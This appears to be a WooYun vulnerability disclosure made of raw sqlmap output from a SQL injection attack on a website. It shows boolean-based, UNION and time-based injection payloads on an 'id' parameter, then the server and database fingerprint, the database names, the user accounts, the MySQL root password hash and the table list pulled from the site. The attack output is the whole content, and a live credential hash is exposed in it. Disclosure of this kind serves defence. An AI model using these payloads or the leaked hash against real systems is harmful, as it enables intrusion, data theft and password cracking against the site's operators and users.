WooYun.org

sqlmap identified the following injection points with a total of 0 HTTP(s) 
reque
sts:
---
Place: GET
Parameter: id
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=2427' AND 8988=8988 AND 'abcx'='abcx
    Type: UNION query
    Title: MySQL UNION query (NULL) - 5 columns
    Payload: id=-8745' UNION ALL SELECT NULL,NULL,CONCAT
(0x3a7673773a,0x54535842
795741465464,0x3a73616c3a),NULL,NULL#
    Type: AND/OR time-based blind
    Title: MySQL > 5.0.11 AND time-based blind
    Payload: id=2427' AND SLEEP(5) AND 'XgVW'='XgVW
---
[21:24:00] [INFO] the back-end DBMS is MySQL
web server operating system: Windows 2003
web application technology: ASP.NET, Microsoft IIS 6.0, PHP 5.2.17
back-end DBMS: MySQL 5.0.11
available databases [11]:
[*] dnzi
[*] dq
[*] gwy
[*] information_schema
[*] jxfs
[*] kejian
[*] mysql
[*] samht
[*] test
[*] wiki
[*] yh1768
[21:24:00] [INFO] fetching database users
[21:24:00] [WARNING] the SQL query provided does not return any output
[21:24:00] [WARNING] in case of continuous data retrieval problems you are 
advis
ed to try a switch '--no-cast' or switch '--hex'
[21:24:00] [INFO] fetching number of database users
[21:24:00] [WARNING] running in a single-thread mode. Please consider 
usage of o
ption '--threads' for faster data retrieval
[21:24:00] [INFO] retrieved: 4
[21:24:02] [INFO] retrieved: 'root'@'localhost'
[21:24:29] [INFO] retrieved: 'yh1768'@'localhost'
[21:25:00] [INFO] retrieved: 'root'@'%'
[21:25:16] [INFO] retrieved: 'yh1768'@'%'
database management system users [4]:
[*] 'root'@'%'
[*] 'root'@'localhost'  
[*] 'yh1768'@'%'
[*] 'yh1768'@'localhost'
current user:    'root@localhost'
root : *421F9E38BF3518C8E538BB899967A50E07CBEDA0
current database:    'kejian'
article
 article_type,
 ask, ask_type,
 book,
 books, 
caimiyu, 
computer,
 computer_type,
 cycd,
 downcount,
 edudown,
 flash,
 flash_type,
 flash2,
 geturl, 
gkzl,
 host, 
hycd, 
jiaoan, 
jiazhang,
 jiazhang_type,
 jkbj,
 jtsh, 
jxfs,
 jxys, 
jxys_book, 
jyzx,
 keyword,
 kszx,
 kxjs, 
life, 
life_type,
 lunwen,
 lunwen_type,
 main,
 member,
 nnn,
 pay,
 pinyin,
 scb, 
scb_type,
 shwh,
 syjj, 
temp,
 tempid, 
wenxue,
 wzlist, 
xiehouyu, 
xinshang, 
xinshang_type, 
xyzx,
 yhcd,
 yingyu,
 yingyu_type,
 yxyl,
 zgbk,
 zongjie, 
zongjie_type,
 zuowen, 
zuowen_type